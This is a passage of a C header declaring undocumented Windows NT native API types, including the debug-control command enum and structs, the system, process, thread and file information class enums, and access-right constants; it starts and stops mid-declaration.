_SYSDBG_COMMAND\r\n{\r\n\tSysDbgQueryModuleInformation,\r\n\tSysDbgQueryTraceInformation,\r\n\tSysDbgSetTracepoint,\r\n\tSysDbgSetSpecialCall,\r\n\tSysDbgClearSpecialCalls,\r\n\tSysDbgQuerySpecialCalls,\r\n\tSysDbgBreakPoint,\r\n\tSysDbgQueryVersion,\r\n\tSysDbgReadVirtual,\r\n\tSysDbgWriteVirtual,\r\n\tSysDbgReadPhysical,\r\n\tSysDbgWritePhysical,\r\n\tSysDbgReadControlSpace,\r\n\tSysDbgWriteControlSpace,\r\n\tSysDbgReadIoSpace,\r\n\tSysDbgWriteIoSpace,\r\n\tSysDbgReadMsr,\r\n\tSysDbgWriteMsr,\r\n\tSysDbgReadBusData,\r\n\tSysDbgWriteBusData,\r\n\tSysDbgCheckLowMemory,\r\n\tSysDbgEnableKernelDebugger,\r\n\tSysDbgDisableKernelDebugger,\r\n\tSysDbgGetAutoKdEnable,\r\n\tSysDbgSetAutoKdEnable,\r\n\tSysDbgGetPrintBufferSize,\r\n\tSysDbgSetPrintBufferSize,\r\n\tSysDbgGetKdUmExceptionEnable,\r\n\tSysDbgSetKdUmExceptionEnable,\r\n\tSysDbgGetTriageDump,\r\n\tSysDbgGetKdBlockEnable,\r\n\tSysDbgSetKdBlockEnable,\r\n\tSysDbgRegisterForUmBreakInfo,\r\n\tSysDbgGetUmBreakPid,\r\n\tSysDbgClearUmBreakPid,\r\n\tSysDbgGetUmAttachPid,\r\n\tSysDbgClearUmAttachPid\r\n} SYSDBG_COMMAND, *PSYSDBG_COMMAND;\r\n\r\ntypedef struct _SYSDBG_VIRTUAL\r\n{\r\n\tPVOID Address;\r\n\tPVOID Buffer;\r\n\tULONG Request;\r\n} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;\r\n\r\ntypedef struct _SYSDBG_PHYSICAL\r\n{\r\n\tPHYSICAL_ADDRESS Address;\r\n\tPVOID Buffer;\r\n\tULONG Request;\r\n} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL;\r\n\r\ntypedef struct _SYSDBG_CONTROL_SPACE\r\n{\r\n\tULONG64 Address;\r\n\tPVOID Buffer;\r\n\tULONG Request;\r\n\tULONG Processor;\r\n} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE;\r\n\r\ntypedef enum _INTERFACE_TYPE\r\n{\r\n\tUnknownInterfaceType = 1\r\n} INTERFACE_TYPE ;\r\n\r\ntypedef struct _SYSDBG_IO_SPACE\r\n{\r\n\tULONG64 Address;\r\n\tPVOID Buffer;\r\n\tULONG Request;\r\n\tenum _INTERFACE_TYPE InterfaceType;\r\n\tULONG BusNumber;\r\n\tULONG AddressSpace;\r\n} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE;\r\n\r\ntypedef struct _SYSDBG_MSR\r\n{\r\n\tULONG Msr;\r\n\tULONG64 Data;\r\n} SYSDBG_MSR, *PSYSDBG_MSR;\r\n\r\ntypedef enum _BUS_DATA_TYPE\r\n{\r\n    ConfigurationSpaceUndefined = -1,\r\n    Cmos,\r\n    EisaConfiguration,\r\n    Pos,\r\n    CbusConfiguration,\r\n    PCIConfiguration,\r\n    VMEConfiguration,\r\n    NuBusConfiguration,\r\n    PCMCIAConfiguration,\r\n    MPIConfiguration,\r\n    MPSAConfiguration,\r\n    PNPISAConfiguration,\r\n    SgiInternalConfiguration,\r\n    MaximumBusDataType\r\n} BUS_DATA_TYPE, *PBUS_DATA_TYPE;\r\n\r\ntypedef struct _SYSDBG_BUS_DATA\r\n{\r\n\tULONG Address;\r\n\tPVOID Buffer;\r\n\tULONG Request;\r\n\tenum _BUS_DATA_TYPE BusDataType;\r\n\tULONG BusNumber;\r\n\tULONG SlotNumber;\r\n} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA;\r\n\r\ntypedef struct _SYSDBG_TRIAGE_DUMP\r\n{\r\n\tULONG Flags;\r\n\tULONG BugCheckCode;\r\n\tULONG_PTR BugCheckParam1;\r\n\tULONG_PTR BugCheckParam2;\r\n\tULONG_PTR BugCheckParam3;\r\n\tULONG_PTR BugCheckParam4;\r\n\tULONG ProcessHandles;\r\n\tULONG ThreadHandles;\r\n\tPHANDLE Handles;\r\n} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP;\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS\r\n{\r\n\tSystemBasicInformation,\r\n\tSystemProcessorInformation,\r\n\tSystemPerformanceInformation,\r\n\tSystemTimeOfDayInformation,\r\n\tSystemPathInformation,\r\n\tSystemProcessInformation,\r\n\tSystemCallCountInformation,\r\n\tSystemDeviceInformation,\r\n\tSystemProcessorPerformanceInformation,\r\n\tSystemFlagsInformation,\r\n\tSystemCallTimeInformation,\r\n\tSystemModuleInformation,\r\n\tSystemLocksInformation,\r\n\tSystemStackTraceInformation,\r\n\tSystemPagedPoolInformation,\r\n\tSystemNonPagedPoolInformation,\r\n\tSystemHandleInformation,\r\n\tSystemObjectInformation,\r\n\tSystemPageFileInformation,\r\n\tSystemVdmInstemulInformation,\r\n\tSystemVdmBopInformation,\r\n\tSystemFileCacheInformation,\r\n\tSystemPoolTagInformation,\r\n\tSystemInterruptInformation,\r\n\tSystemDpcBehaviorInformation,\r\n\tSystemFullMemoryInformation,\r\n\tSystemLoadGdiDriverInformation,\r\n\tSystemUnloadGdiDriverInformation,\r\n\tSystemTimeAdjustmentInformation,\r\n\tSystemSummaryMemoryInformation,\r\n\tSystemMirrorMemoryInformation,\r\n\tSystemPerformanceTraceInformation,\r\n\tSystemObsolete0,\r\n\tSystemExceptionInformation,\r\n\tSystemCrashDumpStateInformation,\r\n\tSystemKernelDebuggerInformation,\r\n\tSystemContextSwitchInformation,\r\n\tSystemRegistryQuotaInformation,\r\n\tSystemExtendServiceTableInformation,\r\n\tSystemPrioritySeperation,\r\n\tSystemVerifierAddDriverInformation,\r\n\tSystemVerifierRemoveDriverInformation,\r\n\tSystemProcessorIdleInformation,\r\n\tSystemLegacyDriverInformation,\r\n\tSystemCurrentTimeZoneInformation,\r\n\tSystemLookasideInformation,\r\n\tSystemTimeSlipNotification,\r\n\tSystemSessionCreate,\r\n\tSystemSessionDetach,\r\n\tSystemSessionInformation,\r\n\tSystemRangeStartInformation,\r\n\tSystemVerifierInformation,\r\n\tSystemVerifierThunkExtend,\r\n\tSystemSessionProcessInformation,\r\n\tSystemLoadGdiDriverInSystemSpace,\r\n\tSystemNumaProcessorMap,\r\n\tSystemPrefetcherInformation,\r\n\tSystemExtendedProcessInformation,\r\n\tSystemRecommendedSharedDataAlignment,\r\n\tSystemComPlusPackage,\r\n\tSystemNumaAvailableMemory,\r\n\tSystemProcessorPowerInformation,\r\n\tSystemEmulationBasicInformation,\t\t\t\t// WOW64\r\n\tSystemEmulationProcessorInformation,\t\t// WOW64\r\n\tSystemExtendedHandleInformation,\r\n\tSystemLostDelayedWriteInformation,\r\n\tSystemBigPoolInformation,\r\n\tSystemSessionPoolTagInformation,\r\n\tSystemSessionMappedViewInformation,\r\n\tSystemHotpatchInformation,\r\n\tSystemObjectSecurityMode,\r\n\tSystemWatchdogTimerHandler,\r\n\tSystemWatchdogTimerInformation,\r\n\tSystemLogicalProcessorInformation,\r\n\tSystemWow64SharedInformation,\r\n\tSystemRegisterFirmwareTableInformationHandler,\r\n\tSystemFirmwareTableInformation,\r\n\tSystemModuleInformationEx,\r\n\tSystemVerifierTriageInformation,\r\n\tSystemSuperfetchInformation,\r\n\tSystemMemoryListInformation,\r\n\tSystemFileCacheInformationEx,\r\n\tSystemThreadPriorityClientIdInformation,\r\n\tSystemProcessorIdleCycleTimeInformation,\r\n\tSystemVerifierCancellationInformation,\r\n\tSystemProcessorPowerInformationEx,\r\n\tSystemRefTraceInformation,\r\n\tSystemSpecialPoolInformation,\r\n\tSystemProcessIdInformation,\r\n\tSystemErrorPortInformation,\r\n\tSystemBootEnvironmentInformation,\r\n\tSystemHypervisorInformation,\r\n\tSystemVerifierInformationEx,\r\n\tSystemTimeZoneInformation,\r\n\tSystemImageFileExecutionOptionsInformation,\r\n\tSystemCoverageInformation,\r\n\tSystemPrefetchPatchInformation,\r\n\tSystemVerifierFaultsInformation,\r\n\tSystemSystemPartitionInformation,\r\n\tSystemSystemDiskInformation,\r\n\tSystemProcessorPerformanceDistribution,\r\n\tSystemNumaProximityNodeInformation,\r\n\tSystemDynamicTimeZoneInformation,\r\n\tSystemCodeIntegrityInformation,\r\n\tSystemProcessorMicrocodeUpdateInformation,\r\n\tSystemProcessorBrandString,\r\n\tSystemVirtualAddressInformation,\r\n\tMaxSystemInfoClass\r\n} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;\r\n\r\ntypedef enum _EVENT_TRACE_INFORMATION_CLASS\r\n{\r\n\tEventTraceKernelVersionInformation,\r\n\tEventTraceGroupMaskInformation,\r\n\tEventTracePerformanceInformation,\r\n\tEventTraceTimeProfileInformation,\r\n\tEventTraceSessionSecurityInformation,\r\n\tMaxEventTraceInfoClass\r\n} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS;\r\n\r\n#define LOCK_QUEUE_WAIT 1\r\n#define LOCK_QUEUE_WAIT_BIT 0\r\n\r\n#define LOCK_QUEUE_OWNER 2\r\n#define LOCK_QUEUE_OWNER_BIT 1\r\n\r\n#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4\r\n#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT))\r\n\r\ntypedef enum _KSPIN_LOCK_QUEUE_NUMBER {\r\n\tLockQueueDispatcherLock,\r\n\tLockQueueUnusedSpare1,\r\n\tLockQueuePfnLock,\r\n\tLockQueueSystemSpaceLock,\r\n\tLockQueueVacbLock,\r\n\tLockQueueMasterLock,\r\n\tLockQueueNonPagedPoolLock,\r\n\tLockQueueIoCancelLock,\r\n\tLockQueueWorkQueueLock,\r\n\tLockQueueIoVpbLock,\r\n\tLockQueueIoDatabaseLock,\r\n\tLockQueueIoCompletionLock,\r\n\tLockQueueNtfsStructLock,\r\n\tLockQueueAfdWorkQueueLock,\r\n\tLockQueueBcbLock,\r\n\tLockQueueMmNonPagedPoolLock,\r\n\tLockQueueUnusedSpare16,\r\n\tLockQueueTimerTableLock,\r\n\tLockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS\r\n} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER;\r\n\r\ntypedef enum _KPROFILE_SOURCE {\r\n\tProfileTime,\r\n\tProfileAlignmentFixup,\r\n\tProfileTotalIssues,\r\n\tProfilePipelineDry,\r\n\tProfileLoadInstructions,\r\n\tProfilePipelineFrozen,\r\n\tProfileBranchInstructions,\r\n\tProfileTotalNonissues,\r\n\tProfileDcacheMisses,\r\n\tProfileIcacheMisses,\r\n\tProfileCacheMisses,\r\n\tProfileBranchMispredictions,\r\n\tProfileStoreInstructions,\r\n\tProfileFpInstructions,\r\n\tProfileIntegerInstructions,\r\n\tProfile2Issue,\r\n\tProfile3Issue,\r\n\tProfile4Issue,\r\n\tProfileSpecialInstructions,\r\n\tProfileTotalCycles,\r\n\tProfileIcacheIssues,\r\n\tProfileDcacheAccesses,\r\n\tProfileMemoryBarrierCycles,\r\n\tProfileLoadLinkedIssues,\r\n\tProfileMaximum\r\n} KPROFILE_SOURCE;\r\n\r\ntypedef enum _PROCESSINFOCLASS\r\n{\r\n  ProcessBasicInformation,\r\n  ProcessQuotaLimits,\r\n  ProcessIoCounters,\r\n  ProcessVmCounters,\r\n  ProcessTimes,\r\n  ProcessBasePriority,\r\n  ProcessRaisePriority,\r\n  ProcessDebugPort,\r\n  ProcessExceptionPort,\r\n  ProcessAccessToken,\r\n  ProcessLdtInformation,\r\n  ProcessLdtSize,\r\n  ProcessDefaultHardErrorMode,\r\n  ProcessIoPortHandlers,\r\n  ProcessPooledUsageAndLimits,\r\n  ProcessWorkingSetWatch,\r\n  ProcessUserModeIOPL,\r\n  ProcessEnableAlignmentFaultFixup,\r\n  ProcessPriorityClass,\r\n  ProcessWx86Information,\r\n  ProcessHandleCount,\r\n  ProcessAffinityMask,\r\n  ProcessPriorityBoost,\r\n  ProcessDeviceMap,\r\n  ProcessSessionInformation,\r\n  ProcessForegroundInformation,\r\n  ProcessWow64Information,\r\n  ProcessImageFileName,\r\n  ProcessLUIDDeviceMapsEnabled,\r\n  ProcessBreakOnTermination,\r\n  ProcessDebugObjectHandle,\r\n  ProcessDebugFlags,\r\n  ProcessHandleTracing,\r\n  ProcessIoPriority,\r\n  ProcessExecuteFlags,\r\n  ProcessTlsInformation,\r\n  ProcessCookie,\r\n  ProcessImageInformation,\r\n  ProcessCycleTime,\r\n  ProcessPagePriority,\r\n  ProcessInstrumentationCallback,\r\n  ProcessThreadStackAllocation,\r\n  ProcessWorkingSetWatchEx,\r\n  ProcessImageFileNameWin32,\r\n  ProcessImageFileMapping,\r\n  ProcessAffinityUpdateMode,\r\n  ProcessMemoryAllocationMode,\r\n\tProcessGroupInformation,\r\n\tProcessTokenVirtualizationEnabled,\r\n\tProcessConsoleHostProcess,\r\n\tProcessWindowInformation,\r\n  MaxProcessInfoClass\r\n} PROCESSINFOCLASS;\r\n\r\ntypedef enum _THREADINFOCLASS {\r\n\tThreadBasicInformation,\r\n\tThreadTimes,\r\n\tThreadPriority,\r\n\tThreadBasePriority,\r\n\tThreadAffinityMask,\r\n\tThreadImpersonationToken,\r\n\tThreadDescriptorTableEntry,\r\n\tThreadEnableAlignmentFaultFixup,\r\n\tThreadEventPair_Reusable,\r\n\tThreadQuerySetWin32StartAddress,\r\n\tThreadZeroTlsCell,\r\n\tThreadPerformanceCount,\r\n\tThreadAmILastThread,\r\n\tThreadIdealProcessor,\r\n\tThreadPriorityBoost,\r\n\tThreadSetTlsArrayAddress,   // Obsolete\r\n\tThreadIsIoPending,\r\n\tThreadHideFromDebugger,\r\n\tThreadBreakOnTermination,\r\n\tThreadSwitchLegacyState,\r\n\tThreadIsTerminated,\r\n\tThreadLastSystemCall,\r\n\tThreadIoPriority,\r\n\tThreadCycleTime,\r\n\tThreadPagePriority,\r\n\tThreadActualBasePriority,\r\n\tThreadTebInformation,\r\n\tThreadCSwitchMon,          // Obsolete\r\n\tThreadCSwitchPmu,\r\n\tThreadWow64Context,\r\n\tThreadGroupInformation,\r\n\tThreadUmsInformation,      // UMS\r\n\tThreadCounterProfiling,\r\n\tThreadIdealProcessorEx,\r\n\tMaxThreadInfoClass\r\n} THREADINFOCLASS;\r\n\r\n\r\ntypedef enum _PROCESS_TLS_INFORMATION_TYPE\r\n{\r\n  ProcessTlsReplaceIndex,\r\n  ProcessTlsReplaceVector,\r\n  MaxProcessTlsOperation\r\n} PROCESS_TLS_INFORMATION_TYPE;\r\n\r\n\r\n#define PROCESS_TERMINATE         (0x0001)  \r\n#define PROCESS_CREATE_THREAD     (0x0002)  \r\n#define PROCESS_SET_SESSIONID     (0x0004)  \r\n#define PROCESS_VM_OPERATION      (0x0008)  \r\n#define PROCESS_VM_READ           (0x0010)  \r\n#define PROCESS_VM_WRITE          (0x0020)\r\n#define PROCESS_DUP_HANDLE        (0x0040)\r\n#define PROCESS_CREATE_PROCESS    (0x0080)  \r\n#define PROCESS_SET_QUOTA         (0x0100)  \r\n#define PROCESS_SET_INFORMATION   (0x0200)  \r\n#define PROCESS_QUERY_INFORMATION (0x0400)  \r\n#define PROCESS_SET_PORT          (0x0800)\r\n#define PROCESS_SUSPEND_RESUME    (0x0800)  \r\n\r\n#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )\r\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\r\n#define ZwCurrentProcess() NtCurrentProcess()\r\n#define ZwCurrentThread()\t NtCurrentThread()\r\n\r\n// 28.05.2011 - rndbit\r\n#define NtLastError() ( NtCurrentTeb()->LastErrorValue )\r\n#define NtLastStatus()\t( NtCurrentTeb()->LastStatusValue )\r\n\r\n#if defined(_M_X86)\r\n#define NtCurrentPID() __readfsdword(0x20)\r\n#else\r\n#define NtCurrentPID() __readgsqword(0x20)\r\n#endif\r\n\r\n#define THREAD_TERMINATE               (0x0001)  \r\n#define THREAD_SUSPEND_RESUME          (0x0002)  \r\n#define THREAD_ALERT                   (0x0004)\r\n#define THREAD_GET_CONTEXT             (0x0008)  \r\n#define THREAD_SET_CONTEXT             (0x0010)  \r\n#define THREAD_SET_INFORMATION         (0x0020)  \r\n#define THREAD_QUERY_INFORMATION       (0x0040)  \r\n#define THREAD_SET_THREAD_TOKEN        (0x0080)\r\n#define THREAD_IMPERSONATE             (0x0100)\r\n#define THREAD_DIRECT_IMPERSONATION    (0x0200)\r\n\r\n#define JOB_OBJECT_ASSIGN_PROCESS\t\t\t\t\t\t(0x0001)\r\n#define JOB_OBJECT_SET_ATTRIBUTES\t\t\t\t\t\t(0x0002)\r\n#define JOB_OBJECT_QUERY\t\t\t\t\t\t\t\t\t\t(0x0004)\r\n#define JOB_OBJECT_TERMINATE\t\t\t\t\t\t\t\t(0x0008)\r\n#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES  (0x0010)\r\n#ifndef _WINNT_\r\n#define JOB_OBJECT_ALL_ACCESS\t\t\t\t\t\t\t\t(STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F )\r\n#endif\r\n\r\n#define PEB_STDIO_HANDLE_NATIVE     0\r\n#define PEB_STDIO_HANDLE_SUBSYS     1\r\n#define PEB_STDIO_HANDLE_PM         2\r\n#define PEB_STDIO_HANDLE_RESERVED   3\r\n\r\n#define GDI_HANDLE_BUFFER_SIZE32  34\r\n#define GDI_HANDLE_BUFFER_SIZE64  60\r\n\r\n#if !defined(_M_X64)\r\n#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32\r\n#else\r\n#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64\r\n#endif\r\n\r\ntypedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];\r\ntypedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];\r\ntypedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];\r\n\r\n#define FOREGROUND_BASE_PRIORITY  9\r\n#define NORMAL_BASE_PRIORITY      8\r\n\r\n#ifndef FILE_READ_ACCESS\r\n#define FILE_READ_ACCESS ( 0x0001 )\r\n#endif\r\n\r\ntypedef enum _FILE_INFORMATION_CLASS\r\n{\r\n  FileDirectoryInformation = 1,\r\n  FileFullDirectoryInformation,\r\n  FileBothDirectoryInformation,\r\n  FileBasicInformation,\r\n  FileStandardInformation,\r\n  FileInternalInformation,\r\n  FileEaInformation,\r\n  FileAccessInformation,\r\n  FileNameInformation,\r\n  FileRenameInformation,\r\n  FileLinkInformation,\r\n  FileNamesInformation,\r\n  FileDispositionInformation,\r\n  FilePositionInformation,\r\n  FileFullEaInformation,\r\n  FileModeInformation,\r\n  FileAlignmentInformation,\r\n  FileAllInformation,\r\n  FileAllocationInformation,\r\n  FileEndOfFileInformation,\r\n  FileAlternateNameInformation,\r\n  FileStreamInformation,\r\n  FilePipeInformation,\r\n  FilePipeLocalInformation,\r\n  FilePipeRemoteInformation,\r\n  FileMailslotQueryInformation,\r\n  FileMailslotSetInformation,\r\n  FileCompressionInformation,\r\n  FileObjectIdInformation,\r\n  FileCompletionInformation,\r\n  FileMoveClusterInformation,\r\n  FileQuotaInformation,\r\n  FileReparsePointInformation,\r\n  FileNetworkOpenInformation,\r\n  FileAttributeTagInformation,\r\n  FileTrackingInformation,\r\n  FileIdBothDirectoryInformation,\r\n  FileIdFullDirectoryInformation,\r\n  FileValidDataLengthInformation,\r\n  FileShortNameInformation,\r\n  FileIoCompletionNotificationInformation,\r\n  FileIoStatusBlockRangeInformation,\r\n  FileIoPriorityHintInformation,\r\n  FileSfioReserveInformation,\r\n  FileSfioVolumeInformation,\r\n  FileHardLinkInformation,\r\n  FileProcessIdsUsingFileInformation,\r\n  FileNormalizedNameInformation,\r\n  FileNetworkPhysicalNameInformation,\r\n  FileIdGlobalTxDirectoryInformation,\r\n  FileMaximumInformation\r\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\r\n\r\ntypedef enum _FSINFOCLASS {\r\n\tFileFsVolumeInformation = 1,\r\n\tFileFsLabelInformation,\r\n\tFileFsSizeInformation,\r\n\tFileFsDeviceInformation,\r\n\tFileFsAttributeInformation,\r\n\tFileFsControlInformation,\r\n\tFileFsFullSizeInformation,\r\n\tFileFsObjectIdInformation,\r\n\tFileFsDriverPathInformation,\r\n\tFileFsVolumeFlagsInformation,\r\n\tFileFsMaximumInformation\r\n} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS;\r\n\r\ntypedef enum _POOL_TYPE {\r\n\tNonPagedPool,\r\n\tPagedPool,\r\n\tNonPagedPoolMustSucceed,\r\n\tDontUseThisType,\r\n\tNonPagedPoolCacheAligned,\r\n\tPagedPoolCacheAligned,\r\n\tNonPagedPoolCacheAlignedMustS,\r\n\tMaxPoolType,\r\n\tNonPagedPoolSession,\r\n\tPagedPoolSession,\r\n\tNonPagedPoolMustSucceedSession,\r\n\tDontUseThisTypeSession,\r\n\tNonPagedPoolCacheAlignedSession,\r\n\tPagedPoolCacheAlignedSession,\r\n\tNonPagedPoolCacheAlignedMustSSession\r\n} POOL_TYPE, *PPOOL_TYPE;\r\n\r\ntypedef enum _MEMORY_INFORMATION_CLASS\r\n{\r\n\tMemoryBasicInformation,\r\n\tMemoryWorkingSetInformation,\r\n\tMemoryMappedFilenameInformation,\r\n\tMemoryRegionInformation,\r\n\tMemoryWorkingSetExInformation\r\n} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;\r\n\r\ntypedef enum _REG_NOTIFY_CLASS\r\n{\r\n  RegNtDeleteKey,\r\n  RegNtPreDeleteKey,\r\n  RegNtSetValueKey,\r\n  RegNtPreSetValueKey,\r\n  RegNtDeleteValueKey,\r\n  RegNtPreDeleteValueKey,\r\n  RegNtSetInformationKey,\r\n  RegNtPreSetInformationKey,\r\n  RegNtRenameKey,\r\n  RegNtPreRenameKey,\r\n  RegNtEnumerateKey,\r\n  RegNtPreEnumerateKey,\r\n  RegNtEnumerateValueKey,\r\n  RegNtPreEnumerateValueKey,\r\n  RegNtQueryKey,\r\n  RegNtPreQueryKey,\r\n  RegNtQueryValueKey,\r\n  RegNtPreQueryValueKey,\r\n  RegNtQueryMultipleValueKey,\r\n  RegNtPreQueryMultipleValueKey,\r\n  RegNtPreCreateKey,\r\n  RegNtPostCreateKey,\r\n  RegNtPreOpenKey,\r\n  RegNtPostOpenKey,\r\n  RegNtKeyHandleClose,\r\n  RegNtPreKeyHandleClose,\r\n  RegNtPostDeleteKey,\r\n  RegNtPostSetValueKey,\r\n  RegNtPostDeleteValueKey,\r\n  RegNtPostSetInformationKey,\r\n  RegNtPostRenameKey,\r\n  RegNtPostEnumerateKey,\r\n  RegNtPostEnumerateValueKey,\r\n  RegNtPostQueryKey,\r\n  RegNtPostQueryValueKey,\r\n  RegNtPostQueryMultipleValueKey,\r\n  RegNtPostKeyHandleClose,\r\n  RegNtPreCreateKeyEx,\r\n  RegNtPostCreateKeyEx,\r\n  RegNtPreOpenKeyEx,\r\n  RegNtPostOpenKeyEx,\r\n  RegNtPreFlushKey,\r\n  RegNtPostFlushKey,\r\n  RegNtPreLoadKey,\r\n  RegNtPostLoadKey,\r\n  RegNtPreUnLoadKey,\r\n  RegNtPostUnLoadKey,\r\n  RegNtPreQueryKeySecurity,\r\n  RegNtPostQueryKeySecurity,\r\n  RegNtPreSetKeySecurity,\r\n  RegNtPostSetKeySecurity,\r\n  RegNtCallbackObjectContextCleanup,\r\n  MaxRegNtNotifyClass\r\n} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS;\r\n\r\ntypedef enum _HAL_QUERY_INFORMATION_CLASS\r\n{\r\n  HalInstalledBusInformation,\r\n  HalProfileSourceInformation,\r\n  HalInformationClassUnused1,\r\n  HalPowerInformation,\r\n  HalProcessorSpeedInformation,\r\n  HalCallbackInformation,\r\n  HalMapRegisterInformation,\r\n  HalMcaLogInformation,\r\n  HalFrameBufferCachingInformation,\r\n  HalDisplayBiosInformation,\r\n  HalProcessorFeatureInformation,\r\n  HalNumaTopologyInterface,\r\n  HalErrorInformation,\r\n  HalCmcLogInformation,\r\n  HalCpeLogInformation,\r\n  HalQueryMcaInterface,\r\n  HalQueryAMLIIllegalIOPortAddresses,\r\n  HalQueryMaxHotPlugMemoryAddress,\r\n  HalPartitionIpiInterface,\r\n  HalPlatformInformation,\r\n  HalQueryProfileSourceList,\r\n  HalInitLogInformation,\r\n  HalFrequencyInformation,\r\n  HalProcessorBrandString\r\n} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS;\r\n\r\n\r\n#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_)\r\ntypedef enum POWER_INFORMATION_LEVEL {\r\n  SystemPowerPolicyAc = 0x0,\r\n  SystemPowerPolicyDc = 0x1,\r\n  VerifySystemPolicyAc = 0x2,\r\n  VerifySystemPolicyDc = 0x3,\r\n  SystemPowerCapabilities = 0x4,\r\n  SystemBatteryState = 0x5,\r\n  SystemPowerStateHandler = 0x6,\r\n  ProcessorStateHandler = 0x7,\r\n  SystemPowerPolicyCurrent = 0x8,\r\n  AdministratorPowerPolicy = 0x9,\r\n  SystemReserveHiberFile = 0xa,\r\n  ProcessorInformation = 0xb,\r\n  SystemPowerInformation = 0xc,\r\n  ProcessorStateHandler2 = 0xd,\r\n  LastWakeTime = 0xe,\r\n  LastSleepTime = 0xf,\r\n  SystemExecutionState = 0x10,\r\n  SystemPowerStateNotifyHandler = 0x11,\r\n  ProcessorPowerPolicyAc = 0x12,\r\n  ProcessorPowerPolicyDc = 0x13,\r\n  VerifyProcessorPowerPolicyAc = 0x14,\r\n  VerifyProcessorPowerPolicyDc = 0x15,\r\n  ProcessorPowerPolicyCurrent = 0x16,\r\n  SystemPowerStateLogging = 0x17,\r\n  SystemPowerLoggingEntry = 0x18,\r\n  SetPowerSettingValue = 0x19,\r\n  NotifyUserPowerSetting = 0x1a,\r\n  GetPowerTransitionVetoes = 0x1b,\r\n  SetPowerTransitionVeto = 0x1c,\r\n  SystemVideoState = 0x1d,\r\n  TraceApplicationPowerMessage = 0x1e,\r\n  TraceApplicationPowerMessageEnd = 0x1f,\r\n  ProcessorPerfStates = 0x20,\r\n  ProcessorIdleStates = 0x21,\r\n  ProcessorThrottleStates = 0x22,\r\n  SystemWakeSource = 0x23,\r\n  SystemHiberFileInformation = 0x24,\r\n  TraceServicePowerMessage = 0x25,\r\n  ProcessorLoad = 0x26,\r\n  PowerShutdownNotification = 0x27,\r\n  MonitorCapabilities = 0x28\r\n};\r\n#endif\r\n\r\ntypedef struct _IO_STATUS_BLOCK {\r\n\tunion {\r\n\t\tNTSTATUS Status;\r\n\t\tPVOID Pointer;\r\n\t};\r\n\tULONG_PTR Information;\r\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\r\n\r\ntypedef VOID(NTAPI *PIO_APC_ROUTINE)(\r\n\tIN PVOID ApcContext,\r\n\tIN PIO_STATUS_BLOCK IoStatusBlock,\r\n\tIN ULONG Reserved\r\n\t);\r\n\r\ntypedef struct _X86_FLOATING_SAVE_AREA\r\n{\r\n\tULONG ControlWord;\r\n\tULONG StatusWord;\r\n\tULONG TagWord;\r\n\tULONG ErrorOffset;\r\n\tULONG ErrorSelector;\r\n\tULONG DataOffset;\r\n\tULONG DataSelector;\r\n\tUCHAR RegisterArea[ 80 ];\r\n\tULONG Cr0NpxState;\r\n} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA;\r\n\r\ntypedef struct _X86_CONTEXT\r\n{\r\n\tULONG ContextFlags;\r\n\tULONG Dr0;\r\n\tULONG Dr1;\r\n\tULONG Dr2;\r\n\tULONG Dr3;\r\n\tULONG Dr6;\r\n\tULONG Dr7;\r\n\tX86_FLOATING_SAVE_AREA FloatSave;\r\n\tULONG SegGs;\r\n\tULONG SegFs;\r\n\tULONG SegEs;\r\n\tULONG SegDs;\r\n\tULONG Edi;\r\n\tULONG Esi;\r\n\tULONG Ebx;\r\n\tULONG Edx;\r\n\tULONG Ecx;\r\n\tULONG Eax;\r\n\tULONG Ebp;\r\n\tULONG Eip;\r\n\tULONG SegCs;\r\n\tULONG EFlags;\r\n\tULONG Esp;\r\n\tULONG SegSs;\r\n} X86_CONTEXT, *PX86_CONTEXT;\r\n\r\n#define FILE_SUPERSEDE                  0x00000000\r\n#define FILE_OPEN                       0x00000001\r\n#define FILE_CREATE                     0x00000002\r\n#define FILE_OPEN_IF                    0x00000003\r\n#define FILE_OVERWRITE                  0x00000004\r\n#define FILE_OVERWRITE_IF               0x00000005\r\n#define FILE_MAXIMUM_DISPOSITION        0x00000005\r\n\r\n#define FILE_DIRECTORY_FILE                     0x00000001\r\n#define FILE_WRITE_THROUGH                      0x00000002\r\n#define FILE_SEQUENTIAL_ONLY                    0x00000004\r\n#define FILE_NO_INTERMEDIATE_BUFFERING          0x00000008\r\n\r\n#define FILE_SYNCHRONOUS_IO_ALERT               0x00000010\r\n#define FILE_SYNCHRONOUS_IO_NONALERT            0x00000020\r\n#define FILE_NON_DIRECTORY_FILE                 0x00000040\r\n#define FILE_CREATE_TREE_CONNECTION             0x00000080\r\n\r\n#define 